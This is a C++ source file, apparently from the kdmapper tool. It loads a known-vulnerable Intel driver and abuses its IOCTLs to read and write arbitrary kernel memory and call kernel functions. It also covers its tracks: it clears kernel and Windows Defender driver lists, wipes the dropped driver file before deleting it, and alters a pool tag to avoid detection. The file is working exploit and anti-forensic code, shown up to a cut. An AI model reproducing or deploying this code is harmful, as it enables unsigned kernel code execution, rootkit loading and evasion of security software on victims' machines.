#include "intel_driver.hpp" #include #include #include #include "utils.hpp" #include "intel_driver_resource.hpp" #include "service.hpp" #include "nt.hpp" #include "portable_executable.hpp" #ifdef PDB_OFFSETS #include "KDSymbolsHandler.h" #endif /** Command structures */ typedef struct _COPY_MEMORY_BUFFER_INFO { uint64_t case_number; uint64_t reserved; uint64_t source; uint64_t destination; uint64_t length; }COPY_MEMORY_BUFFER_INFO, * PCOPY_MEMORY_BUFFER_INFO; typedef struct _FILL_MEMORY_BUFFER_INFO { uint64_t case_number; uint64_t reserved1; uint32_t value; uint32_t reserved2; uint64_t destination; uint64_t length; }FILL_MEMORY_BUFFER_INFO, * PFILL_MEMORY_BUFFER_INFO; typedef struct _GET_PHYS_ADDRESS_BUFFER_INFO { uint64_t case_number; uint64_t reserved; uint64_t return_physical_address; uint64_t address_to_translate; }GET_PHYS_ADDRESS_BUFFER_INFO, * PGET_PHYS_ADDRESS_BUFFER_INFO; typedef struct _MAP_IO_SPACE_BUFFER_INFO { uint64_t case_number; uint64_t reserved; uint64_t return_value; uint64_t return_virtual_address; uint64_t physical_address_to_map; uint32_t size; }MAP_IO_SPACE_BUFFER_INFO, * PMAP_IO_SPACE_BUFFER_INFO; typedef struct _UNMAP_IO_SPACE_BUFFER_INFO { uint64_t case_number; uint64_t reserved1; uint64_t reserved2; uint64_t virt_address; uint64_t reserved3; uint32_t number_of_bytes; }UNMAP_IO_SPACE_BUFFER_INFO, * PUNMAP_IO_SPACE_BUFFER_INFO; // End Command structures HANDLE intel_driver::hDevice = 0; ULONG64 intel_driver::ntoskrnlAddr = 0; std::string cachedDriverName = ""; std::wstring intel_driver::GetDriverNameW() { if (cachedDriverName.empty()) { //Create a random name char buffer[100]{}; static const char alphanum[] = "abcdefghijklmnopqrstuvwxyz" "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; int len = rand() % 20 + 10; for (int i = 0; i < len; ++i) buffer[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; cachedDriverName = buffer; } std::wstring name(cachedDriverName.begin(), cachedDriverName.end()); return name; } std::wstring intel_driver::GetDriverPath() { std::wstring temp = kdmUtils::GetFullTempPath(); if (temp.empty()) { return L""; } return temp + L"\\" + GetDriverNameW(); } bool intel_driver::IsRunning() { const HANDLE file_handle = CreateFileW(L"\\\\.\\Nal", FILE_ANY_ACCESS, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); if (file_handle != nullptr && file_handle != INVALID_HANDLE_VALUE) { CloseHandle(file_handle); return true; } return false; } //get Se debug privilege NTSTATUS intel_driver::AcquireDebugPrivilege() { HMODULE ntdll = GetModuleHandleA("ntdll.dll"); if (ntdll == NULL) { return STATUS_UNSUCCESSFUL; } ULONG SE_DEBUG_PRIVILEGE = 20UL; BOOLEAN SeDebugWasEnabled; NTSTATUS Status = nt::RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &SeDebugWasEnabled); if (!NT_SUCCESS(Status)) { kdmLog("[-] Failed to acquire SE_DEBUG_PRIVILEGE" << std::endl); } return Status; } NTSTATUS intel_driver::Load() { srand((unsigned)time(NULL) * GetCurrentThreadId()); //from https://github.com/ShoaShekelbergstein/kdmapper as some Drivers takes same device name if (intel_driver::IsRunning()) { kdmLog(L"[-] \\Device\\Nal is already in use." << std::endl); kdmLog(L"[-] This means that there is a intel driver already loaded or another instance of kdmapper is running or kdmapper crashed and didn't unload the previous driver." << std::endl); kdmLog(L"[-] If you are sure that there is no other instance of kdmapper running, you can try to restart your computer to fix this issue." << std::endl); kdmLog(L"[-] If the problem persists, you can try to unload the intel driver manually (If the driver was loaded with kdmapper will have a random name and will be located in %temp%), if not, the driver name is iqvw64e.sys." << std::endl); return STATUS_ALREADY_REGISTERED; } kdmLog(L"[<] Loading vulnerable driver, Name: " << GetDriverNameW() << std::endl); std::wstring driver_path = GetDriverPath(); if (driver_path.empty()) { kdmLog(L"[-] Can't find TEMP folder" << std::endl); return STATUS_UNSUCCESSFUL; } _wremove(driver_path.c_str()); if (!kdmUtils::CreateFileFromMemory(driver_path, reinterpret_cast(intel_driver_resource::driver), sizeof(intel_driver_resource::driver))) { kdmLog(L"[-] Failed to create vulnerable driver file" << std::endl); return STATUS_DISK_OPERATION_FAILED; } auto status = AcquireDebugPrivilege(); if (!NT_SUCCESS(status)) { kdmLog(L"[-] Failed to acquire SeDebugPrivilege" << std::endl); _wremove(driver_path.c_str()); return status; } status = service::RegisterAndStart(driver_path, GetDriverNameW()); if (!NT_SUCCESS(status)) { kdmLog(L"[-] Failed to register and start service for the vulnerable driver" << std::endl); _wremove(driver_path.c_str()); return status; } hDevice = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (!hDevice || hDevice == INVALID_HANDLE_VALUE) { kdmLog(L"[-] Failed to load driver iqvw64e.sys" << std::endl); intel_driver::Unload(); return STATUS_NOT_FOUND; } ntoskrnlAddr = kdmUtils::GetKernelModuleAddress("ntoskrnl.exe"); if (ntoskrnlAddr == 0) { kdmLog(L"[-] Failed to get ntoskrnl.exe" << std::endl); intel_driver::Unload(); return STATUS_BAD_DLL_ENTRYPOINT; } //check MZ ntoskrnl.exe IMAGE_DOS_HEADER dosHeader = { 0 }; if (!intel_driver::ReadMemory(intel_driver::ntoskrnlAddr, &dosHeader, sizeof(IMAGE_DOS_HEADER)) || dosHeader.e_magic != IMAGE_DOS_SIGNATURE) { kdmLog(L"[-] Can't exploit intel driver, is there any antivirus or anticheat running?" << std::endl); intel_driver::Unload(); return STATUS_INVALID_IMAGE_FORMAT; } if (!intel_driver::ClearPiDDBCacheTable()) { kdmLog(L"[-] Failed to ClearPiDDBCacheTable" << std::endl); intel_driver::Unload(); return STATUS_DELETE_PENDING | 0x1000; //add custom value to error code to identify specific fail } if (!intel_driver::ClearKernelHashBucketList()) { kdmLog(L"[-] Failed to ClearKernelHashBucketList" << std::endl); intel_driver::Unload(); return STATUS_DELETE_PENDING | 0x2000; } if (!intel_driver::ClearMmUnloadedDrivers()) { kdmLog(L"[!] Failed to ClearMmUnloadedDrivers" << std::endl); intel_driver::Unload(); return STATUS_DELETE_PENDING | 0x3000; } if (!intel_driver::ClearWdFilterDriverList()) { kdmLog("[!] Failed to ClearWdFilterDriverList" << std::endl); intel_driver::Unload(); return STATUS_DELETE_PENDING | 0x4000; } return STATUS_SUCCESS; } bool intel_driver::ClearWdFilterDriverList() { auto WdFilter = kdmUtils::GetKernelModuleAddress("WdFilter.sys"); if (!WdFilter) { kdmLog("[+] WdFilter.sys not loaded, clear skipped" << std::endl); return true; } #ifdef PDB_OFFSETS uintptr_t MpBmDocOpenRules = KDSymbolsHandler::GetInstance()->GetOffset(L"MpBmDocOpenRules"); if (!MpBmDocOpenRules) { kdmLog("[-] Failed To Get MpBmDocOpenRules." << std::endl); return false; } MpBmDocOpenRules += WdFilter; uintptr_t RuntimeDriversList_Head = MpBmDocOpenRules + 0x70; uintptr_t RuntimeDriversCount = MpBmDocOpenRules + 0x60; uintptr_t RuntimeDriversArray = MpBmDocOpenRules + 0x68; ReadMemory(RuntimeDriversArray, &RuntimeDriversArray, sizeof(uintptr_t)); uintptr_t MpFreeDriverInfoEx = KDSymbolsHandler::GetInstance()->GetOffset(L"MpFreeDriverInfoEx"); if (!MpFreeDriverInfoEx) { kdmLog("[-] Failed To Get MpFreeDriverInfoEx." << std::endl); return false; } MpFreeDriverInfoEx += WdFilter; #else auto RuntimeDriversList = FindPatternInSectionAtKernel("PAGE", WdFilter, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\xFF\x05", "xxx????xx"); if (!RuntimeDriversList) { kdmLog("[!] Failed to find WdFilter RuntimeDriversList" << std::endl); return false; } auto RuntimeDriversCountRef = FindPatternInSectionAtKernel("PAGE", WdFilter, (PUCHAR)"\xFF\x05\x00\x00\x00\x00\x48\x39\x11", "xx????xxx"); if (!RuntimeDriversCountRef) { kdmLog("[!] Failed to find WdFilter RuntimeDriversCount" << std::endl); return false; } // MpCleanupDriverInfo->MpFreeDriverInfoEx // The pattern only focus in the 0x8 offset and the possibility of the different order for the instructions /* 49 8B C9 mov rcx, r9 ; P 49 89 50 08 mov [r8+8], rdx E8 FB F0 FD FF call MpFreeDriverInfoEx 48 8B 0D FC AA FA FF mov rcx, cs:qword_1C0021BF0 E9 21 FF FF FF jmp loc_1C007701A */ auto MpFreeDriverInfoExRef = FindPatternInSectionAtKernel("PAGE", WdFilter, (PUCHAR)"\x89\x00\x08\xE8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE9", "x?xx???????????x"); if (!MpFreeDriverInfoExRef) { /* 48 89 4A 08 mov [rdx+8], rcx 49 8B C8 mov rcx, r8 ; P E8 C3 58 FE FF call sub_1C0065308 48 8B 0D 44 41 FA FF mov rcx, cs:qword_1C0023B90 E9 39 FF FF FF jmp loc_1C007F98A */ MpFreeDriverInfoExRef = FindPatternInSectionAtKernel("PAGE", WdFilter, (PUCHAR)"\x89\x00\x08\x00\x00\x00\xE8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE9", "x?x???x???????????x"); if (!MpFreeDriverInfoExRef) { kdmLog("[!] Failed to find WdFilter MpFreeDriverInfoEx" << std::endl); return false; } else { kdmLog("[+] Found WdFilter MpFreeDriverInfoEx with second pattern" << std::endl); } MpFreeDriverInfoExRef += 0x3; // adjust for next sum offset } MpFreeDriverInfoExRef += 0x3; // skip until call instruction RuntimeDriversList = (uintptr_t)ResolveRelativeAddress((PVOID)RuntimeDriversList, 3, 7); uintptr_t RuntimeDriversList_Head = RuntimeDriversList - 0x8; uintptr_t RuntimeDriversCount = (uintptr_t)ResolveRelativeAddress((PVOID)RuntimeDriversCountRef, 2, 6); uintptr_t RuntimeDriversArray = RuntimeDriversCount + 0x8; ReadMemory(RuntimeDriversArray, &RuntimeDriversArray, sizeof(uintptr_t)); uintptr_t MpFreeDriverInfoEx = (uintptr_t)ResolveRelativeAddress((PVOID)MpFreeDriverInfoExRef, 1, 5); #endif auto ReadListEntry = [&](uintptr_t Address) -> LIST_ENTRY* { // Useful lambda to read LIST_ENTRY LIST_ENTRY* Entry; if (!ReadMemory(Address, &Entry, sizeof(LIST_ENTRY*))) return 0; return Entry; }; for (LIST_ENTRY* Entry = ReadListEntry(RuntimeDriversList_Head); Entry != (LIST_ENTRY*)RuntimeDriversList_Head; Entry = ReadListEntry((uintptr_t)Entry + (offsetof(struct _LIST_ENTRY, Flink)))) { UNICODE_STRING Unicode_String; if (ReadMemory((uintptr_t)Entry + 0x10, &Unicode_String, sizeof(UNICODE_STRING))) { auto ImageName = std::make_unique((ULONG64)Unicode_String.Length / 2ULL + 1ULL); if (ReadMemory((uintptr_t)Unicode_String.Buffer, ImageName.get(), Unicode_String.Length)) { if (wcsstr(ImageName.get(), intel_driver::GetDriverNameW().c_str())) { //remove from RuntimeDriversArray bool removedRuntimeDriversArray = false; PVOID SameIndexList = (PVOID)((uintptr_t)Entry - 0x10); for (int k = 0; k < 256; k++) { // max RuntimeDriversArray elements PVOID value = 0; ReadMemory(RuntimeDriversArray + (k * 8), &value, sizeof(PVOID)); if (value == SameIndexList) { PVOID emptyval = (PVOID)(RuntimeDriversCount + 1); // this is not count+1 is position of cout addr+1 WriteMemory(RuntimeDriversArray + (k * 8), &emptyval, sizeof(PVOID)); removedRuntimeDriversArray = true; break; } } if (!removedRuntimeDriversArray) { kdmLog("[!] Failed to remove from RuntimeDriversArray" << std::endl); return false; } auto NextEntry = ReadListEntry(uintptr_t(Entry) + (offsetof(struct _LIST_ENTRY, Flink))); auto PrevEntry = ReadListEntry(uintptr_t(Entry) + (offsetof(struct _LIST_ENTRY, Blink))); WriteMemory(uintptr_t(NextEntry) + (offsetof(struct _LIST_ENTRY, Blink)), &PrevEntry, sizeof(LIST_ENTRY::Blink)); WriteMemory(uintptr_t(PrevEntry) + (offsetof(struct _LIST_ENTRY, Flink)), &NextEntry, sizeof(LIST_ENTRY::Flink)); // decrement RuntimeDriversCount ULONG current = 0; ReadMemory(RuntimeDriversCount, ¤t, sizeof(ULONG)); current--; WriteMemory(RuntimeDriversCount, ¤t, sizeof(ULONG)); // call MpFreeDriverInfoEx uintptr_t DriverInfo = (uintptr_t)Entry - 0x20; //verify DriverInfo Magic USHORT Magic = 0; ReadMemory(DriverInfo, &Magic, sizeof(USHORT)); if (Magic != 0xDA18) { kdmLog("[!] DriverInfo Magic is invalid, new wdfilter version?, driver info will not be released to prevent bsod" << std::endl); } else { CallKernelFunction(nullptr, MpFreeDriverInfoEx, DriverInfo); } kdmLog("[+] WdFilterDriverList Cleaned: " << ImageName << std::endl); return true; } } } } return false; } NTSTATUS intel_driver::Unload() { kdmLog(L"[<] Unloading vulnerable driver" << std::endl); if (hDevice && hDevice != INVALID_HANDLE_VALUE) { CloseHandle(hDevice); } auto status = service::StopAndRemove(GetDriverNameW()); if (!NT_SUCCESS(status)) return status; std::wstring driver_path = GetDriverPath(); //Destroy disk information before unlink from disk to prevent any recover of the file std::ofstream file_ofstream(driver_path.c_str(), std::ios_base::out | std::ios_base::binary); if (!file_ofstream.is_open()) { kdmLog(L"[!] Error opening driver file to dump random data inside the disk" << std::endl); return STATUS_DELETE_PENDING; } int newFileLen = sizeof(intel_driver_resource::driver) + (((long long)rand()*(long long)rand()) % 2000000 + 1000); BYTE* randomData = new BYTE[newFileLen]; for (size_t i = 0; i < newFileLen; i++) { randomData[i] = (BYTE)(rand() % 255); } if (!file_ofstream.write((char*)randomData, newFileLen)) { kdmLog(L"[!] Error dumping shit inside the disk" << std::endl); } else { kdmLog(L"[+] Vul driver data destroyed before unlink" << std::endl); } file_ofstream.close(); delete[] randomData; //unlink the file if (_wremove(driver_path.c_str()) != 0) return STATUS_DELETE_PENDING; return STATUS_SUCCESS; } bool intel_driver::MemCopy(uint64_t destination, uint64_t source, uint64_t size) { if (!destination || !source || !size) return 0; COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 }; copy_memory_buffer.case_number = 0x33; copy_memory_buffer.source = source; copy_memory_buffer.destination = destination; copy_memory_buffer.length = size; DWORD bytes_returned = 0; return DeviceIoControl(hDevice, ioctl1, ©_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr); } bool intel_driver::SetMemory(uint64_t address, uint32_t value, uint64_t size) { if (!address || !size) return 0; FILL_MEMORY_BUFFER_INFO fill_memory_buffer = { 0 }; fill_memory_buffer.case_number = 0x30; fill_memory_buffer.destination = address; fill_memory_buffer.value = value; fill_memory_buffer.length = size; DWORD bytes_returned = 0; return DeviceIoControl(hDevice, ioctl1, &fill_memory_buffer, sizeof(fill_memory_buffer), nullptr, 0, &bytes_returned, nullptr); } bool intel_driver::GetPhysicalAddress(uint64_t address, uint64_t* out_physical_address) { if (!address) return 0; GET_PHYS_ADDRESS_BUFFER_INFO get_phys_address_buffer = { 0 }; get_phys_address_buffer.case_number = 0x25; get_phys_address_buffer.address_to_translate = address; DWORD bytes_returned = 0; if (!DeviceIoControl(hDevice, ioctl1, &get_phys_address_buffer, sizeof(get_phys_address_buffer), nullptr, 0, &bytes_returned, nullptr)) return false; *out_physical_address = get_phys_address_buffer.return_physical_address; return true; } uint64_t intel_driver::MapIoSpace(uint64_t physical_address, uint32_t size) { if (!physical_address || !size) return 0; MAP_IO_SPACE_BUFFER_INFO map_io_space_buffer = { 0 }; map_io_space_buffer.case_number = 0x19; map_io_space_buffer.physical_address_to_map = physical_address; map_io_space_buffer.size = size; DWORD bytes_returned = 0; if (!DeviceIoControl(hDevice, ioctl1, &map_io_space_buffer, sizeof(map_io_space_buffer), nullptr, 0, &bytes_returned, nullptr)) return 0; return map_io_space_buffer.return_virtual_address; } bool intel_driver::UnmapIoSpace(uint64_t address, uint32_t size) { if (!address || !size) return false; UNMAP_IO_SPACE_BUFFER_INFO unmap_io_space_buffer = { 0 }; unmap_io_space_buffer.case_number = 0x1A; unmap_io_space_buffer.virt_address = address; unmap_io_space_buffer.number_of_bytes = size; DWORD bytes_returned = 0; return DeviceIoControl(hDevice, ioctl1, &unmap_io_space_buffer, sizeof(unmap_io_space_buffer), nullptr, 0, &bytes_returned, nullptr); } bool intel_driver::ReadMemory(uint64_t address, void* buffer, uint64_t size) { return MemCopy(reinterpret_cast(buffer), address, size); } bool intel_driver::WriteMemory(uint64_t address, void* buffer, uint64_t size) { return MemCopy(address, reinterpret_cast(buffer), size); } bool intel_driver::WriteToReadOnlyMemory(uint64_t address, void* buffer, uint32_t size) { if (!address || !buffer || !size) return false; uint64_t physical_address = 0; if (!GetPhysicalAddress(address, &physical_address)) { kdmLog(L"[-] Failed to translate virtual address 0x" << reinterpret_cast(address) << std::endl); return false; } const uint64_t mapped_physical_memory = MapIoSpace(physical_address, size); if (!mapped_physical_memory) { kdmLog(L"[-] Failed to map IO space of 0x" << reinterpret_cast(physical_address) << std::endl); return false; } bool result = WriteMemory(mapped_physical_memory, buffer, size); #if defined(DISABLE_OUTPUT) UnmapIoSpace(mapped_physical_memory, size); #else if (!UnmapIoSpace(mapped_physical_memory, size)) kdmLog(L"[!] Failed to unmap IO space of physical address 0x" << reinterpret_cast(physical_address) << std::endl); #endif return result; } uint64_t intel_driver::MmAllocateIndependentPagesEx(uint32_t size) { uint64_t allocated_pages{}; static uint64_t kernel_MmAllocateIndependentPagesEx = 0; #ifdef PDB_OFFSETS if (!kernel_MmAllocateIndependentPagesEx) { kernel_MmAllocateIndependentPagesEx = KDSymbolsHandler::GetInstance()->GetOffset(L"MmAllocateIndependentPagesEx"); if (!kernel_MmAllocateIndependentPagesEx) { kdmLog(L"[!] Failed to find MmAllocateIndependentPagesEx" << std::endl); return 0; } kernel_MmAllocateIndependentPagesEx += intel_driver::ntoskrnlAddr; } #else if (!kernel_MmAllocateIndependentPagesEx) { //Updated, tested from 1803 to 24H2 //KeAllocateInterrupt -> 41 8B D6 B9 00 10 00 00 E8 ?? ?? ?? ?? 48 8B D8 kernel_MmAllocateIndependentPagesEx = intel_driver::FindPatternInSectionAtKernel((char*)".text", intel_driver::ntoskrnlAddr, (BYTE*)"\x41\x8B\xD6\xB9\x00\x10\x00\x00\xE8\x00\x00\x00\x00\x48\x8B\xD8", (char*)"xxxxxxxxx????xxx"); if (!kernel_MmAllocateIndependentPagesEx) { kdmLog(L"[!] Failed to find MmAllocateIndependentPagesEx" << std::endl); return 0; } kernel_MmAllocateIndependentPagesEx += 8; kernel_MmAllocateIndependentPagesEx = (uint64_t)ResolveRelativeAddress((PVOID)kernel_MmAllocateIndependentPagesEx, 1, 5); if (!kernel_MmAllocateIndependentPagesEx) { kdmLog(L"[!] Failed to find MmAllocateIndependentPagesEx" << std::endl); return 0; } } #endif if (!intel_driver::CallKernelFunction(&allocated_pages, kernel_MmAllocateIndependentPagesEx, size, -1, 0, 0)) return 0; return allocated_pages; } bool intel_driver::MmFreeIndependentPages(uint64_t address, uint32_t size) { static uint64_t kernel_MmFreeIndependentPages = 0; if (!kernel_MmFreeIndependentPages) { #ifdef PDB_OFFSETS kernel_MmFreeIndependentPages = KDSymbolsHandler::GetInstance()->GetOffset(L"MmFreeIndependentPages"); if (!kernel_MmFreeIndependentPages) { kdmLog(L"[!] Failed to find MmFreeIndependentPages" << std::endl); return false; } kernel_MmFreeIndependentPages += intel_driver::ntoskrnlAddr; #else kernel_MmFreeIndependentPages = intel_driver::FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr, (BYTE*)"\xBA\x00\x60\x00\x00\x48\x8B\xCB\xE8\x00\x00\x00\x00\x48\x8D\x8B\x00\xF0\xFF\xFF", (char*)"xxxxxxxxx????xxxxxxx"); if (!kernel_MmFreeIndependentPages) { kdmLog(L"[+] Trying second pattern for MmFreeIndependentPages" << std::endl); // Windows 11 kernel_MmFreeIndependentPages = intel_driver::FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr, (BYTE*)"\x8B\x15\x00\x00\x00\x00\x48\x8B\xCB\xE8\x00\x00\x00\x00\x48\x8D\x8B", (char*)"xx????xxxx????xxx"); if (!kernel_MmFreeIndependentPages) { kdmLog(L"[!] Failed to find MmFreeIndependentPages" << std::endl); return false; } kernel_MmFreeIndependentPages += 9; // win 11 } else { kernel_MmFreeIndependentPages += 8; } kernel_MmFreeIndependentPages = (uint64_t)ResolveRelativeAddress((PVOID)kernel_MmFreeIndependentPages, 1, 5); if (!kernel_MmFreeIndependentPages) { kdmLog(L"[!] Failed to find MmFreeIndependentPages" << std::endl); return false; } #endif } uint64_t result{}; return intel_driver::CallKernelFunction(&result, kernel_MmFreeIndependentPages, address, size); } BOOLEAN intel_driver::MmSetPageProtection(uint64_t address, uint32_t size, ULONG new_protect) { if (!address) { kdmLog(L"[!] Invalid address passed to MmSetPageProtection" << std::endl); return FALSE; } static uint64_t kernel_MmSetPageProtection = 0; if (!kernel_MmSetPageProtection) { #ifdef PDB_OFFSETS kernel_MmSetPageProtection = KDSymbolsHandler::GetInstance()->GetOffset(L"MmSetPageProtection"); if (!kernel_MmSetPageProtection) { kdmLog(L"[!] Failed to find MmSetPageProtection" << std::endl); return FALSE; } kernel_MmSetPageProtection += intel_driver::ntoskrnlAddr; #else //Updated, tested from 1803 to 24H2 // 0F 45 ? ? 8D ? ? ? FF FF E8 // 0F 45 ? ? 45 8B ? ? ? ? 8D ? ? ? ? ? ? FF FF E8 (Some windows builds have a instruction in the middle) kernel_MmSetPageProtection = intel_driver::FindPatternInSectionAtKernel("PAGELK", intel_driver::ntoskrnlAddr, (BYTE*)"\x0F\x45\x00\x00\x8D\x00\x00\x00\xFF\xFF\xE8", (char*)"xx??x???xxx"); if (!kernel_MmSetPageProtection) { kernel_MmSetPageProtection = intel_driver::FindPatternInSectionAtKernel("PAGELK", intel_driver::ntoskrnlAddr, (BYTE*)"\x0F\x45\x00\x00\x45\x8B\x00\x00\x00\x00\x8D\x00\x00\x00\x00\x00\x00\xFF\xFF\xE8", (char*)"xx??xx????x???xxx"); if (!kernel_MmSetPageProtection) { kdmLog(L"[!] Failed to find MmSetPageProtection" << std::endl); return FALSE; } kernel_MmSetPageProtection += 13; } else { kernel_MmSetPageProtection += 10; } kernel_MmSetPageProtection = (uint64_t)ResolveRelativeAddress((PVOID)kernel_MmSetPageProtection, 1, 5); if (!kernel_MmSetPageProtection) { kdmLog(L"[!] Failed to find MmSetPageProtection" << std::endl); return FALSE; } #endif } BOOLEAN set_prot_status{}; if (!intel_driver::CallKernelFunction(&set_prot_status, kernel_MmSetPageProtection, address, size, new_protect)) return FALSE; return set_prot_status; } uint64_t intel_driver::AllocatePool(nt::POOL_TYPE pool_type, uint64_t size) { if (!size) return 0; static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "ExAllocatePoolWithTag"); if (!kernel_ExAllocatePool) { kdmLog(L"[!] Failed to find ExAllocatePool" << std::endl); return 0; } uint64_t allocated_pool = 0; if (!CallKernelFunction(&allocated_pool, kernel_ExAllocatePool, pool_type, size, 'BwtE')) //Changed pool tag since an extremely meme checking diff between allocation size and average for detection.... return 0; return allocated_pool; } bool intel_driver::FreePool(uint64_t address) { if (!address) return 0; static uint64_t kernel_ExFreePool = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "ExFreePool"); if (!kernel_ExFreePool) { kdmLog(L"[!] Failed to find ExAllocatePool" << std::endl); return 0; } return CallKernelFunction(nullptr, kernel_ExFreePool, address); } uint64_t intel_driver::GetKernelModuleExport(uint64_t kernel_module_base, const std::string& function_name) { if (!kernel_module_base) return 0; IMAGE_DOS_HEADER dos_header = { 0 }; IMAGE_NT_HEADERS64 nt_headers = { 0 }; if (!ReadMemory(kernel_module_base, &dos_header, sizeof(dos_header)) || dos_header.e_magic != IMAGE_DOS_SIGNATURE || !ReadMemory(kernel_module_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers)) || nt_headers.Signature != IMAGE_NT_SIGNATURE) return 0; const auto export_base = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; const auto export_base_size = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; if (!export_base || !export_base_size) return 0; const auto export_data = reinterpret_cast(VirtualAlloc(nullptr, export_base_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); if (!ReadMemory(kernel_module_base + export_base, export_data, export_base_size)) { VirtualFree(export_data, 0, MEM_RELEASE); return 0; } const auto delta = reinterpret_cast(export_data) - export_base; const auto name_table = reinterpret_cast(export_data->AddressOfNames + delta); const auto ordinal_table = reinterpret_cast(export_data->AddressOfNameOrdinals + delta); const auto function_table = reinterpret_cast(export_data->AddressOfFunctions + delta); for (auto i = 0u; i < export_data->NumberOfNames; ++i) { const std::string current_function_name = std::string(reinterpret_cast(name_table[i] + delta)); if (!_stricmp(current_function_name.c_str(), function_name.c_str())) { const auto function_ordinal = ordinal_table[i]; if (function_table[function_ordinal] <= 0x1000) { // Wrong function address? return 0; } const auto function_address = kernel_module_base + function_table[function_ordinal]; if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size) { VirtualFree(export_data, 0, MEM_RELEASE); return 0; // No forwarded exports on 64bit? } VirtualFree(export_data, 0, MEM_RELEASE); return function_address; } } VirtualFree(export_data, 0, MEM_RELEASE); return 0; } bool intel_driver::ClearMmUnloadedDrivers() { ULONG buffer_size = 0; void* buffer = nullptr; NTSTATUS status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); while (status == STATUS_INFO_LENGTH_MISMATCH) { if (buffer != nullptr) VirtualFree(buffer, 0, MEM_RELEASE); buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); } if (!NT_SUCCESS(status) || buffer == nullptr) { if (buffer != nullptr) VirtualFree(buffer, 0, MEM_RELEASE); return false; } uint64_t object = 0; auto system_handle_inforamtion = static_cast(buffer); for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i) { const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i]; if (current_system_handle.UniqueProcessId != reinterpret_cast(static_cast(GetCurrentProcessId()))) continue; if (current_system_handle.HandleValue == hDevice) { object = reinterpret_cast(current_system_handle.Object); break; } } VirtualFree(buffer, 0, MEM_RELEASE); if (!object) return false; uint64_t device_object = 0; if (!ReadMemory(object + 0x8, &device_object, sizeof(device_object)) || !device_object) { kdmLog(L"[!] Failed to find device_object" << std::endl); return false; } uint64_t driver_object = 0; if (!ReadMemory(device_object + 0x8, &driver_object, sizeof(driver_object)) || !driver_object) { kdmLog(L"[!] Failed to find driver_object" << std::endl); return false; } uint64_t driver_section = 0; if (!ReadMemory(driver_object + 0x28, &driver_section, sizeof(driver_section)) || !driver_section) { kdmLog(L"[!] Failed to find driver_section" << std::endl); return false; } UNICODE_STRING us_driver_base_dll_name = { 0 }; if (!ReadMemory(driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name)) || us_driver_base_dll_name.Length == 0) { kdmLog(L"[!] Failed to find driver name" << std::endl); return false; } auto unloadedName = std::make_unique((ULONG64)us_driver_base_dll_name.Length / 2ULL + 1ULL); if (!ReadMemory((uintptr_t)us_driver_base_dll_name.Buffer, unloadedName.get(), us_driver_base_dll_name.Length)) { kdmLog(L"[!] Failed to read driver name" << std::endl); return false; } us_driver_base_dll_name.Length = 0; //MiRememberUnloadedDriver will check if the length > 0 to save the unloaded driver if (!WriteMemory(driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) { kdmLog(L"[!] Failed to write driver name length" << std::endl); return false; } kdmLog(L"[+] MmUnloadedDrivers Cleaned: " << unloadedName << std::endl); return true; } PVOID intel_driver::ResolveRelativeAddress(_In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize) { ULONG_PTR Instr = (ULONG_PTR)Instruction; LONG RipOffset = 0; if (!ReadMemory(Instr + OffsetOffset, &RipOffset, sizeof(LONG))) { return nullptr; } PVOID ResolvedAddr = (PVOID)(Instr + InstructionSize + RipOffset); return ResolvedAddr; } bool intel_driver::ExAcquireResourceExclusiveLite(PVOID Resource, BOOLEAN wait) { if (!Resource) return 0; static uint64_t kernel_ExAcquireResourceExclusiveLite = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "ExAcquireResourceExclusiveLite"); if (!kernel_ExAcquireResourceExclusiveLite) { kdmLog(L"[!] Failed to find ExAcquireResourceExclusiveLite" << std::endl); return 0; } BOOLEAN out; return (CallKernelFunction(&out, kernel_ExAcquireResourceExclusiveLite, Resource, wait) && out); } bool intel_driver::ExReleaseResourceLite(PVOID Resource) { if (!Resource) return false; static uint64_t kernel_ExReleaseResourceLite = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "ExReleaseResourceLite"); if (!kernel_ExReleaseResourceLite) { kdmLog(L"[!] Failed to find ExReleaseResourceLite" << std::endl); return false; } return CallKernelFunction(nullptr, kernel_ExReleaseResourceLite, Resource); } BOOLEAN intel_driver::RtlDeleteElementGenericTableAvl(PVOID Table, PVOID Buffer) { if (!Table) return false; static uint64_t kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "RtlDeleteElementGenericTableAvl"); if (!kernel_RtlDeleteElementGenericTableAvl) { kdmLog(L"[!] Failed to find RtlDeleteElementGenericTableAvl" << std::endl); return false; } bool out; return (CallKernelFunction(&out, 